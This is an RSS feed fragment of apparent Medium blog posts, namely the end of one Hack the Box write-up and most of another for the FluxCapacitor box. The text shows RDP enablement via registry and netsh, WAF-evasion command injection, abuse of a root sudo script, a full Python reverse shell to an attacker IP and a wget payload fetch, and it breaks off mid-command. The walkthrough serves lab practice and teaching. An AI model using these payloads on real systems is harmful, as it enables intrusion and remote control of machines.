&quot;hklm\system\currentcontrolset\control\terminal server&quot; /f /v fDenyTSConnections /t REG_DWORD /d 0<br>The operation completed successfully.</pre><pre>C:\Windows\system32&gt;</pre><p><a href="https://community.spiceworks.com/how_to/35529-enable-rdp-through-cmd-line">Configure the firewall</a> to let RDP connections in.</p><pre>C:\Windows\system32&gt;netsh firewall set service remoteadmin enable <br>netsh firewall set service remoteadmin enable</pre><pre>Ok.</pre><pre>C:\Windows\system32&gt;netsh firewall set service remotedesktop enable<br>netsh firewall set service remotedesktop enable</pre><pre>Ok.</pre><pre>C:\Windows\system32&gt;</pre><p>Now use <em>rdesktop</em> on Kali to log in to your newly minted account.</p><pre>root@kali:~# rdesktop 10.10.10.63<br>Connection established using SSL.</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/800/1*Rlb7H4eyLj344dTIcgycUQ.png" /></figure><p>Enter your username and password and log in.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/800/1*wlH8URsUlYZnR3b446sBQg.png" /><figcaption>The color scheme makes me sad</figcaption></figure><p>Tah-dah. Beautiful isn’t it? Play around with it to your heart’s content.</p><p>Now go to the admin desktop and grab that flag so I can sleep.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/800/1*Z64QiwRVo24dP6A_kOParg.png" /></figure><p>Copy that file to your desktop so you can read it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/800/1*IL5SB2Wc-B1shmBSO45IXA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/248/1*b1XHTaVmLEbQRuasEtDCTw.gif" /></figure><p>Knickers twisted. I’m stumped. Since the <em>root.txt </em>file is always on the Administrator desktop, and there doesn’t seem to be some network inception stuff going on, let’s take a deeper look at the file with PowerShell. Make sure to run it as admin or you&#39;re going to have a bad time.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/800/1*FFUgGXCyCybB_tVpiOZmkQ.png" /><figcaption>I can use ls again.</figcaption></figure><p>Start by taking a look at Alternative Data Streams (ADS). <a href="https://blog.malwarebytes.com/101/2015/07/introduction-to-alternate-data-streams/">MalwareBytes</a> has a really good basic introduction to it.</p><p>Basically ADS is a way for you to add data to a file that’s hidden from normal means of viewing, like through file explorer or printing the file out on a command line. You’ve got to use special directives to view these streams and it’s very easy for them to fly under the radar. They often get a bad rep because so much malware takes advantage of this.</p><p>Note that these streams are a feature of the Windows New Technology File System (NTFS), so transferring the file to your Linux system, or even a FAT32 Windows file system will erase any streams the file may have.</p><p>Anyway, let’s check to see if <em>hm.txt</em> has any other streams.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/800/1*N4MMivoq2961KtTvQeG29g.png" /></figure><p>Bingo. Read the contents of <em>root.txt</em>.</p><pre>PS C:\Users\oneeb\Desktop&gt; get-content .\hm.txt -stream root.txt<br>r00t_ha$h_th1ngi3<br>PS C:\Users\oneeb\Desktop&gt;</pre><p>Done.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/500/1*M1QBsLoQVYiL6HashX0ezg.gif" /></figure><p>Just make sure to delete your user account so Jeeves doesn’t axe murder you. Nighty night.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ULmmH4rQxudZkBrLQtL_EA.jpeg" /><figcaption>Good times.</figcaption></figure><p>This box was a doozy, if only because I hadn’t really done too much Windows hacking before. The OSCP PwK course gave me a good introduction, and banging my head against this box as I surfed the interwebs taught me quite a bit.</p><p>Windows privelige escalation throws me for a loop sometimes. The <a href="https://www.fuzzysecurity.com/tutorials/16.html">FuzzySecurity</a> guide to Windows priv. esc. really helped me develop a solid attack plan for when I’m stuck with a user account. Be sure to check it out!</p><p>If you found this informative, be on the lookout for more write-ups. You can follow me on <a href="https://twitter.com/OneebMalik">Twitter</a> for the latest. Shoot me a message if you ever have any questions about how to get started in InfoSec. I’d be glad to help in any way that I can.</p><p>Happy hacking!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=f1427462dc19" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[{Hack the Box} \\ FluxCapacitor Write-Up]]></title>
            <link>https://medium.com/@OneebMalik/hack-the-box-fluxcapacitor-write-up-863190e4828e?source=rss-2c2103638f08------2</link>
            <guid isPermaLink="false">https://medium.com/p/863190e4828e</guid>
            <category><![CDATA[linux]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[technology]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <dc:creator><![CDATA[Oneeb Malik]]></dc:creator>
            <pubDate>Mon, 14 May 2018 22:39:47 GMT</pubDate>
            <atom:updated>2023-03-20T01:44:26.632Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*9BeoK5ACB0UH7YJB5_ICtw.png" /></figure><h4>Make like a leaf and tree while you still can.</h4><p>Alrighty kids. Today, we’ll be learning about the virtues of patience and anger-management. And maybe some stuff about bypassing Web Application Firewalls. Let’s get to it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/500/1*tfPtlBXQ1jIgIGqzLJT7JQ.gif" /></figure><h4>Initial Enumeration</h4><p>Start by running an Nmap scan on FluxCapacitor. Let’s see what we’ve got.</p><pre>root@kali:~# nmap -sC -sV -o nmap.log 10.10.10.69</pre><pre>Starting Nmap 7.60 ( <a href="https://nmap.org/">https://nmap.org</a> ) at 2018-04-13 13:31 EDT<br>Nmap scan report for 10.10.10.69<br>Host is up (0.14s latency).</pre><pre>PORT   STATE SERVICE VERSION<br>80/tcp open  http    SuperWAF</pre><pre>Service detection performed. Please report any incorrect results at <a href="https://nmap.org/submit/">https://nmap.org/submit/</a> .<br>Nmap done: 1 IP address (1 host up) scanned in 34.32 seconds</pre><p>Great. Just a web server. Onward to your web browser of choice. (Note that under ‘version’, it says SuperWAF. We’ll get to that a bit later.)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*s5uq2oeXT7GRLs1Gd6SmyA.png" /><figcaption>node1 seems to have been through some shit.</figcaption></figure><p>There doesn’t seem to be much going on here besides a cryptic status message. Let’s check the source code.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Earp7_z7b7-i5zbDIufY4Q.png" /><figcaption>your mission: protect node1 at all costs.</figcaption></figure><p>Look at that odd comment right there. So odd. Let’s try going to that URL.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*7s0QWt1jTpionqpwhS_Scw.png" /><figcaption>no</figcaption></figure><p>Excellent. A dead end. Except for maybe that line at the bottom. We’ve got ourselves a web server name and version. This is a good time to practice your Googling skills (or Binging or Ducking, I’m search engine agnostic idc). Search for the OpenResty site, look at the Github page for it, skim through the documentation, and search for any interesting exploits for that version. It’s an incredibly valuable skill to learn. I’ll save you an hour or two here by saying it’s a dead end. But keep practicing.</p><p>Back to enumeration.</p><p>Let’s crank out Gobuster and bust some dirs.</p><pre>root@kali:~# gobuster -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u 10.10.10.69 -x php,html -t 100 -s 200,204,301,302,307,403</pre><pre>Gobuster v1.2                OJ Reeves (<a href="http://twitter.com/TheColonial">@TheColonial</a>)<br>=====================================================<br>[+] Mode         : dir<br>[+] Url/Domain   : <a href="http://10.10.10.69/">http://10.10.10.69/</a><br>[+] Threads      : 100<br>[+] Wordlist     : /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt<br>[+] Status codes : 200,204,301,302,307,403<br>[+] Extensions   : .php,.html<br>=====================================================<br>/index.html (Status: 200)<br>/sync (Status: 200)<br>/sync.php (Status: 200)<br>/sync.html (Status: 200)<br>/synctoy (Status: 200)<br>/synctoy.php (Status: 200)<br>/synctoy.html (Status: 200)<br>/synching (Status: 200)<br>/synching.php (Status: 200)<br>/synching.html (Status: 200)<br>/sync_scan (Status: 200)<br>/sync_scan.php (Status: 200)<br>/sync_scan.html (Status: 200)<br>/syncbackse (Status: 200)<br>/syncbackse.php (Status: 200)<br>/syncbackse.html (Status: 200)<br>/synch (Status: 200)<br>/synch.php (Status: 200)<br>/synch.html (Status: 200)</pre><p>I might be totally off base, but I think the server doesn’t want us to know what file extension /sync is. It just doesn’t truncate anything past sync.</p><p>We can confirm this by adding a bunch of random characters in front of /sync. We still get a 403. But if we remove the ‘sync’ part, or add characters before it, we get a 404 not found. Great.</p><p>Also wat. When we went to /sync in our browser, we got a 403 forbidden status code. Gobuster, though, seems to be on good terms with the server. It got a 200 OK code.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/500/1*9kbmmejObiw4E8uHgEYXnQ.gif" /></figure><p>Stifle your jealousy for now and figure out why the server doesn’t like us.</p><p>Let’s open up Wireshark and compare the HTTP requests from both sources and see where we went wrong. Run Gobuster again and run Wireshark on tun0, the interface for the HtB VPN.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/960/1*aDGgQf_LS9IVhJVbcKhELA.png" /></figure><p>Now right click on any of the TCP packets going to 10.10.10.69 and click on Follow-&gt;TCP Stream. That’ll give you a nicely formatted HTTP request, so you don’t have to learn to read hex code.</p><pre>GET /43 HTTP/1.1<br>Host: 10.10.10.69<br>User-Agent: Go-http-client/1.1<br>Accept-Encoding: gzip</pre><pre>HTTP/1.1 404 Not Found<br>Date: Sun, 13 May 2018 18:36:33 GMT<br>Content-Type: text/html<br>Content-Length: 175<br>Connection: keep-alive</pre><pre>&lt;html&gt;<br>&lt;head&gt;&lt;title&gt;404 Not Found&lt;/title&gt;&lt;/head&gt;<br>&lt;body bgcolor=&quot;white&quot;&gt;<br>&lt;center&gt;&lt;h1&gt;404 Not Found&lt;/h1&gt;&lt;/center&gt;<br>&lt;hr&gt;&lt;center&gt;openresty/1.13.6.1&lt;/center&gt;<br>&lt;/body&gt;<br>&lt;/html&gt;</pre><p>Do the same with the browser. Run wireshark (change the interface to ‘any’, since browser HTTP requests take a different road), go to /sync in Firefox and let’s see what packets we get.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/960/1*hbKOSF6_w15HuKO9SZunFg.png" /></figure><p>Follow the TCP/HTTP Stream.</p><pre>GET /sync HTTP/1.1<br>Host: 10.10.10.69<br>User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0<br>Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8<br>Accept-Language: en-US,en;q=0.5<br>Accept-Encoding: gzip, deflate<br>DNT: 1<br>Connection: keep-alive<br>Upgrade-Insecure-Requests: 1<br>Pragma: no-cache<br>Cache-Control: no-cache</pre><pre>HTTP/1.1 403 Forbidden<br>Date: Sun, 13 May 2018 18:45:39 GMT<br>Content-Type: text/html<br>Content-Length: 175<br>Connection: keep-alive</pre><pre>&lt;html&gt;<br>&lt;head&gt;&lt;title&gt;403 Forbidden&lt;/title&gt;&lt;/head&gt;<br>&lt;body bgcolor=&quot;white&quot;&gt;<br>&lt;center&gt;&lt;h1&gt;403 Forbidden&lt;/h1&gt;&lt;/center&gt;<br>&lt;hr&gt;&lt;center&gt;openresty/1.13.6.1&lt;/center&gt;<br>&lt;/body&gt;<br>&lt;/html&gt;</pre><p>The html content itself doesn’t matter, since that can always vary. Same deal with the GET request contents. Look closely at the HTTP headers in both requests and compare them.</p><p>Gobuster:</p><pre>GET /43 HTTP/1.1<br>Host: 10.10.10.69<br>User-Agent: Go-http-client/1.1<br>Accept-Encoding: gzip</pre><p>Browser (Firefox):</p><pre>GET /sync HTTP/1.1<br>Host: 10.10.10.69<br>User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0<br>Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8<br>Accept-Language: en-US,en;q=0.5<br>Accept-Encoding: gzip, deflate<br>DNT: 1<br>Connection: keep-alive<br>Upgrade-Insecure-Requests: 1<br>Pragma: no-cache<br>Cache-Control: no-cache</pre><p>It’s the User-Agent, the shifty feller. Our browser’s been blacklisted for whatever reason. You can play around a bit here. It seems to just look for the word ‘Mozilla’ in User-Agent and forbid all traffic from it. Maybe it blacklists other browsers as well. Who knows. If you try wget or curl to get the webpage, it lets you in.</p><p>But that’s not pretty, so we’re going to intercept our browser request with a Burpsuite proxy, modify it, and send it on its way.</p><p>Open up BurpSuite. The free edition has everything we need. Go to the Proxy -&gt; Intercept tab at the top and make sure that Intercept is on.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-xcp2oHKncmEuPrn45UoCg.png" /></figure><p>To make our Firefox requests go through Burp, go to Firefox -&gt; Preferences -&gt; Advanced -&gt; Network -&gt; Connection -&gt; Settings. Change the proxy to 127.0.0.1:8080. This will ensure that any browser requests we send get routed through the Burp proxy, where we can view and modify the HTTP request, before sending it to it’s intended destination.</p><p>Look into downloading FoxyProxy to do this for you automatically. It’ll save you like 10 seconds. Then you can spend them dreaming about what your life would be like if you had increments of 10 seconds more of free time every day.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*flZmkN_n_qfhloNNXuOoEw.png" /></figure><p>Browse to /sync. Your browser will hang. That’s okay. Don’t panic. Go to Burp, and you’ll (hopefully) see the HTTP request in the raw.</p><pre>GET /sync HTTP/1.1<br>Host: 10.10.10.69<br>User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0<br>Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8<br>Accept-Language: en-US,en;q=0.5<br>Accept-Encoding: gzip, deflate<br>DNT: 1<br>Connection: close<br>Upgrade-Insecure-Requests: 1</pre><p>Delete the current User-Agent and replace it with…..anything I guess. As long as it doesn’t have Mozilla in the name.</p><pre>GET /sync HTTP/1.1<br>Host: 10.10.10.69<br>User-Agent: 007<br>Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8<br>Accept-Language: en-US,en;q=0.5<br>Accept-Encoding: gzip, deflate<br>DNT: 1<br>Connection: close<br>Upgrade-Insecure-Requests: 1</pre><p>Now forward the request (by clicking/tapping/joysticking/atomic bit manipulating the Forward button). Quietly make your way to your browser.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Z_IzZgIQLFnMGnzcjYlkow.png" /></figure><p>Wow. We got the timestamp guys. Nice. It’s letting us through. Now what?</p><h4>The Waffening</h4><p><em>by M. Night Shyamalan</em></p><p>Since /sync seems to be the only other page, we’re stuck trying to figure out wassup here. Let’s go back to the SuperWAF thing. That suggests that there’s some Web Application Firewall (WAF) trickery on this site. A Google search for SuperWAF doesn’t turn up anything so we’re going in blind.</p><p>First of all, a WAF is a reverse proxy. It acts as an intermediary between a server and client, attempting to protect the web server from attacks targeting misconfigurations and security flaws. It tries to filter out common attack attempts like Cross-Site Scripting (XSS), SQL Injection, and Remote Code Execution (RCE).</p><p>Cross site scripting won’t do us any good here since it requires other users. SQL Injection seems like a big no-no since data doesn’t seem to be stored anywhere. We just seem to be getting output from a script that tells us the time. What language? No clue. By doing a bit of educated guessing, there’s got to be some kind of RCE that we can exploit. The WAF is there for a reason.</p><p>We now need to do the metaphorical equivalent of banging our heads repeatedly against a brick wall and hope that we eventually find a couple loose bricks that bring the whole thing down, only to have us stumble as we walk over the ruins, snag ourselves on a brick shard, and tug on it repeatedly until our pants get ripped off. <em>*Deep breaths*</em>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/502/1*GVYFtk0FJbHs4PTfjda8YQ.gif" /></figure><p>Go back to Burp, and if you didn’t close it already, go to Proxy -&gt; HTTP history and find the request we sent to /sync. Click on it and then press ctrl-r to send it to the Repeater. Go to the Repeater tab (still in Burp), and make sure the User-Agent doesn’t have Mozilla in it before proceeding.</p><p>Now we can repeatedly modify and send HTTP requests.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*zAJuuXtklMwBw4eF6KDzUA.png" /></figure><p>At this point, we can make an educated guess that /sync might take in a parameter. Let’s test this assumption.</p><p>If it can take a parameter, and there’s a WAF in place, there’s most probably a way to execute code. Try a few parameters after sync and you’ll see that you get the same timestamp back. Nothing changes.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*eg1Co1XM_dLPkAThMabPNw.png" /></figure><p>This is where a fuzzer comes in handy. Kali linux has WFuzz installed already so let’s use that. What it does is use a dictionary to brute-force URLs until we see any anomalies. Since we don’t have much to go on, this is our only option. Before starting up WFuzz, <a href="https://github.com/danielmiessler/SecLists">check this out</a>. SecLists has a bunch of really useful wordlists for fuzzing. Now actually checkout the repo and save it somewhere nice.</p><p>Fire up WFuzz and list its options.</p><pre>root@kali:~# wfuzz -h</pre><pre>********************************************************<br>* Wfuzz 2.2.9 - The Web Fuzzer                         *<br>*                                                      *<br>* Version up to 1.4c coded by:                         *<br>* Christian Martorella (<a href="/service/mailto:cmartorella@edge-security.com">cmartorella@edge-security.com</a>) *<br>* Carlos del ojo (<a href="/service/mailto:deepbit@gmail.com">deepbit@gmail.com</a>)                   *<br>*                                                      *<br>* Version 1.4d to 2.2.9 coded by:                      *<br>* Xavier Mendez (<a href="/service/mailto:xmendez@edge-security.com">xmendez@edge-security.com</a>)            *<br>********************************************************</pre><pre>Usage: wfuzz [options] -z payload,params &lt;url&gt;</pre><pre>FUZZ, ..., FUZnZ  wherever you put these keywords wfuzz will replace them with the values of the specified payload. <br> FUZZ{baseline_value} FUZZ will be replaced by baseline_value. It will be the first request performed and could be used as a base for filtering.</pre><pre>Options:<br> -h            : This help<br> --help       : Advanced help<br> --version      : Wfuzz version details<br> -e &lt;type&gt;      : List of available encoders/payloads/iterators/printers/scripts<br> <br> -c       : Output with colors<br> -v       : Verbose information.<br> --interact      : (beta) If selected,all key presses are captured. This allows you to interact with the program.<br> <br> -p addr       : Use Proxy in format ip:port:type. Repeat option for using various proxies.<br>          Where type could be SOCKS4,SOCKS5 or HTTP if omitted.<br> <br> -t N       : Specify the number of concurrent connections (10 default)<br> -s N       : Specify time delay between requests (0 default)<br> -R depth      : Recursive path discovery being depth the maximum recursion level.<br> -L, --follow             : Follow HTTP redirections<br> <br> -u url                      : Specify a URL for the request.<br> -z payload      : Specify a payload for each FUZZ keyword used in the form of type,parameters,encoder.<br>          A list of encoders can be used, ie. md5-sha1. Encoders can be chained, ie. md5@sha1.<br>          Encoders category can be used. ie. url<br>                               Use help as a payload to show payload plugin&#39;s details (you can filter using --slice)<br> -w wordlist      : Specify a wordlist file (alias for -z file,wordlist).<br> -V alltype      : All parameters bruteforcing (allvars and allpost). No need for FUZZ keyword.<br> -X method      : Specify an HTTP method for the request, ie. HEAD or FUZZ<br> <br> -b cookie      : Specify a cookie for the requests<br> -d postdata       : Use post data (ex: &quot;id=FUZZ&amp;catalogue=1&quot;)<br> -H header        : Use header (ex:&quot;Cookie:id=1312321&amp;user=FUZZ&quot;)<br> --basic/ntlm/digest auth    : in format &quot;user:pass&quot; or &quot;FUZZ:FUZZ&quot; or &quot;domain\FUZ2Z:FUZZ&quot;<br> <br> --hc/hl/hw/hh N[,N]+     : Hide responses with the specified code/lines/words/chars (Use BBB for taking values from baseline)<br> --sc/sl/sw/sh N[,N]+     : Show responses with the specified code/lines/words/chars (Use BBB for taking values from baseline)<br> --ss/hs regex      : Show/Hide responses with the specified regex within the content</pre><p>-u, -w, and --hh will come in handy here. -u and -w are for the URL and wordlist respectively. But why the last one? Look at the wfuzz commands and you’ll see that - -hh is for hiding responses with a certain character count.</p><p>If you go back to Burp and mess around with /sync for a bit, you’ll notice that the response Content-Length stays the same across all valid responses. 19 characters. We can use this as a constant to help identify any anomalies.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*KGBIU3Rqjw7RBn2sznSKtA.png" /></figure><p>Now let’s wfuzz this bad boy.</p><pre>root@kali:~# wfuzz -w /usr/share/wordlists/SecLists/Discovery/Web-Content/burp-parameter-names.txt -u <a href="http://10.10.10.69/sync?FUZZ=ls">http://10.10.10.69/sync?FUZZ=ls</a> -c --hh 19 | tee fuzz.log</pre><pre>********************************************************<br>* Wfuzz 2.2.9 - The Web Fuzzer                         *<br>********************************************************</pre><pre>Target: <a href="http://10.10.10.69/sync?FUZZ=ls">http://10.10.10.69/sync?FUZZ=ls</a><br>Total requests: 2588</pre><pre>==================================================================<br>ID Response   Lines      Word         Chars          Payload    <br>==================================================================</pre><pre>000753:  C=403      7 L       10 W     175 Ch   &quot;opt&quot;</pre><pre>Total time: 45.04352<br>Processed Requests: 2588<br>Filtered Requests: 2587<br>Requests/sec.: 57.45553</pre><p>The FUZZ in the URL is what gets replaced with other words as wfuzz iterates through the dictionary we gave it. Also, we can make yet another educated guess, and add ‘ls’ as the parameter value. The idea is that we’re aiming for some sort of RCE, and so we want to trigger either a successful response with a directory listing, or have the WAF block our attempt to do so. Any response with a Content-Length of less than 19 characters gets filtered out in the results.</p><p>Aaaand heck to the yeah. We’ve found a valid parameter name. If we use Burp to add the ‘opt’ parameter, we can see the forbidden page again.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*--jb3MsyWXZPzHVr_DRalg.png" /></figure><p>Now for the rip your mustache hairs out part. We need to guess what our limits are with this RCE vector. Start by firing up wfuzz again to see what special characters get filtered and blocked by the WAF.</p><pre>root@kali:~/Documents/hack_the_box/work_in_progress/fluxcapacitor# wfuzz -w /usr/share/wordlists/SecLists/Fuzzing/special-chars.txt -u http://10.10.10.69/sync?opt=FUZZ -c | tee schar_fuzz.log</pre><pre>Warning: Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz&#39;s documentation for more information.</pre><pre>********************************************************<br>* Wfuzz 2.2.9 - The Web Fuzzer                         *<br>********************************************************</pre><pre>Target: <a href="http://10.10.10.69/sync?opt=FUZZ">http://10.10.10.69/sync?opt=FUZZ</a><br>Total requests: 32</pre><pre>==================================================================<br>ID Response   Lines      Word         Chars          Payload    <br>==================================================================</pre><pre>000029:  C=200      1 L        0 W       1 Ch   &quot;&#39;&quot;<br>000030:  C=200      2 L        1 W      19 Ch   &quot;&quot;&quot;<br>000031:  C=403      7 L       10 W     175 Ch   &quot;&lt;&quot;<br>000032:  C=403      7 L       10 W     175 Ch   &quot;&gt;&quot;<br>000002:  C=200      2 L        1 W      19 Ch   &quot;!&quot;<br>000003:  C=200      2 L        1 W      19 Ch   &quot;@&quot;<br>000001:  C=200      2 L        1 W      19 Ch   &quot;~&quot;<br>000004:  C=200      2 L        1 W      19 Ch   &quot;#&quot;<br>000005:  C=403      7 L       10 W     175 Ch   &quot;$&quot;<br>000006:  C=200      2 L        1 W      19 Ch   &quot;%&quot;<br>000007:  C=200      2 L        1 W      19 Ch   &quot;^&quot;<br>000008:  C=200      2 L        1 W      19 Ch   &quot;&amp;&quot;<br>000009:  C=403      7 L       10 W     175 Ch   &quot;*&quot;<br>000010:  C=403      7 L       10 W     175 Ch   &quot;(&quot;<br>000011:  C=403      7 L       10 W     175 Ch   &quot;)&quot;<br>000012:  C=200      2 L        1 W      19 Ch   &quot;_&quot;<br>000013:  C=200      2 L        1 W      19 Ch   &quot;_&quot;<br>000014:  C=200      2 L        1 W      19 Ch   &quot;+&quot;<br>000015:  C=200      2 L        1 W      19 Ch   &quot;=&quot;<br>000016:  C=200      2 L        1 W      19 Ch   &quot;{&quot;<br>000017:  C=200      2 L        1 W      19 Ch   &quot;}&quot;<br>000018:  C=200      2 L        1 W      19 Ch   &quot;]&quot;<br>000019:  C=200      2 L        1 W      19 Ch   &quot;[&quot;<br>000020:  C=403      7 L       10 W     175 Ch   &quot;|&quot;<br>000021:  C=200      2 L        1 W      19 Ch   &quot;\&quot;<br>000022:  C=403      7 L       10 W     175 Ch   &quot;`&quot;<br>000023:  C=200      2 L        1 W      19 Ch   &quot;,&quot;<br>000024:  C=200      2 L        1 W      19 Ch   &quot;.&quot;<br>000025:  C=200      2 L        1 W      19 Ch   &quot;/&quot;<br>000026:  C=200      2 L        1 W      19 Ch   &quot;?&quot;<br>000027:  C=403      7 L       10 W     175 Ch   &quot;;&quot;<br>000028:  C=200      2 L        1 W      19 Ch   &quot;:&quot;</pre><pre>Total time: 0.772816<br>Processed Requests: 32<br>Filtered Requests: 0<br>Requests/sec.: 41.40696</pre><p>Two things. First of all, WAF doesn’t like the following special characters: ; ` ( ) * $ &lt; &gt;. The second oddity here is that the single quote (‘) is giving us a response with 1 character, while every other valid character gives us the usual 19 characters.</p><p>Let’s Burp it up.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*an0MVYruAwq3UdRJI7h6Ug.png" /></figure><p>That’s new. The timestamp is gone, but we still get a 200 response. Let’s try playing around with the single quote and the previous command we tried (ls).</p><p>At this point, I’d suggest taking some time to read about evasion techniques for web firewalls. I’ve included two links here (<a href="https://medium.com/secjuice/waf-evasion-techniques-718026d693d8">part 1</a> and <a href="https://medium.com/secjuice/web-application-firewall-waf-evasion-techniques-2-125995f3e7b0">part 2</a>) and at end of this post, to articles written by the creator of this box. They discuss WAF evasion in depth and really helped me form an attack plan to figure out how to move forward. Be sure to give him a follow and clap those articles. They’re amazing.</p><p>Now that I am enlightened, I spend the next 5 hours figuring out how to get this damn thing to let me through.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*IVQviK2IFChuFGgpCL-tVA.png" /></figure><p>I did it Ma.</p><p>Three things were required to make this work.</p><p>First of all, we need a space after the first single quote. At a guess, I’d say the single quote truncates a previous command and then we need a space after it to execute the one we injected.</p><p>Second, we have to separate the ‘ls’. Putting a ‘\’ before the ‘s’ makes no difference to bash, since it’s apparently a bash script. It’ll just ignore it. Thankfully the WAF can only detect blacklisted commands with contiguous characters.</p><p>Third, we’re going to need another quote to end the second command we add.</p><p>We FINALLY have some sort of command execution. It should be pretty straightforward from here.</p><h4>Into the Breach</h4><p>Let’s start by figuring out where we stand with Flux.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*h90-c1P4wdQ5BbkYkpKBiQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/338/1*WWJ7BcA0PCPL3NYxORu96A.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/340/1*cwPG6HJIpqDiI_A2Fm3cBQ.png" /></figure><p>;_;</p><p>We need to escalate our privileges before we can really do anything, because FluxCapacitor refuses to acknowledge our existence. I usually try ‘sudo -l’ first, because that contains the juiciest stuff. It tells you what commands you’re allowed to run with the privileges of another user.</p><p>This is what we get back from “s\udo -l” (The forward slash behind the ‘u’ cancels out detection for ‘sudo’ and ‘su’, both of which are valid bash commands):</p><pre>Matching Defaults entries for nobody on fluxcapacitor:<br>    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin</pre><pre>User nobody may run the following commands on fluxcapacitor:<br>    (ALL) ALL<br>    (root) NOPASSWD: /home/themiddle/.monit</pre><p>(ALL) ALL doesn’t really help us because we’d need passwords to sudo as other users. The second entry is what we’re looking for. It tells us that we can run ‘/home/themiddle/.monit&#39; as root without having to enter the root password. That path has to be typed exactly for it to work though. You can’t go to that directory and type &#39;sudo .monit’. It’ll just ask for the root password. Let’s go see what it contains.</p><p>Typing ‘ ca\t /home/themiddle/.monit’ as the ‘opt’ value, we get:</p><pre>#!/bin/bash</pre><pre>if [ &quot;$1&quot; == &quot;cmd&quot; ]; then<br> echo &quot;Trying to execute ${2}&quot;<br> CMD=$(echo -n ${2} | base64 -d)<br> bash -c &quot;$CMD&quot;<br>fi</pre><p>What an interesting bash script. You can copy it to a bash script on your local machine and play around with it a bit. It takes in two arguments, and if the first argument is “cmd”, then it base64 decodes the second argument, and then runs it in bash. Perfect. We can now run any command as root here. Ezpz.</p><p>From here, we can probably just ‘cat’ out both the user and root flags, but a reverse shell is so much nicer, and if I have to type another random backslash, Imma pop a biscuit.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/498/1*G4uMEvCdiCj83rPL8VklFA.gif" /></figure><p>This is going to be interesting, because so many crucial special characters are filtered out. Let’s improvise.</p><p>We’ve got quite a few options here. If we go back to Burp and try to look for something useful, it seems the system has Python installed.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*OOUQgO7CyEjZVZpezqaZbg.png" /></figure><p>Python reverse shell it is.</p><pre>import socket,subprocess,os</pre><pre>s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)<br>s.connect((&quot;10.10.14.2&quot;,4444)) #CHANGE THIS<br>os.dup2(s.fileno(),0)<br>os.dup2(s.fileno(),1) <br>os.dup2(s.fileno(),2)<br>p=subprocess.call([&quot;/bin/sh&quot;,&quot;-i&quot;])</pre><p>Put the above code into a .py file on your local machine and be sure to change the IP address to your own. It’ll be under tun0 in ifconfig. Take your pick of ports. There’s quite a bit of them.</p><p>Normally with an RCE, we can just type the python code in directly, but since there are sooooo many bad characters in it that the WAF doesn’t like, we can’t. What we can do is upload the file to the box and run it from there.</p><p>Use the Python SimpleHTTPServer to start up a server on your local machine, making sure you know the relative path of the python file you just made. It’s standard in Python 3, so if you don’t have it, just download the Python file <a href="https://github.com/enthought/Python-2.7.3/blob/master/Lib/SimpleHTTPServer.py">online</a>.</p><pre>root@kali:~# python -m SimpleHTTPServer 80<br>Serving HTTP on 0.0.0.0 port 80 ...</pre><p>Since ‘.monit’ base64 decodes the command we want to run, let’s first encode ours on our local machine.</p><pre>root@kali:~# echo &quot;wget 10.10.14.2/shell.py -P /tmp&quot; | 